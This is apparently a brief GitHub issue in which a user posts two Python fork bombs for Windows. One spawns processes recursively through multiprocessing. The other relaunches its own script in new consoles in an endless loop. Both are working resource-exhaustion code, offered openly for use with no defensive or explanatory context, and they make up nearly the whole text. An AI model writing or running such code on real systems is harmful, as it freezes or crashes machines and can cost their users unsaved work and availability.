Open timelessnesses opened 2 years ago
For Windows:
import multiprocessing def forkbomb(): while True: p = multiprocessing.Process(target=forkbomb) p.start() if __name__ == '__main__': forkbomb()
I guess this code (below) is much better on Windows:
import subprocess, sys while True: subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
For Windows: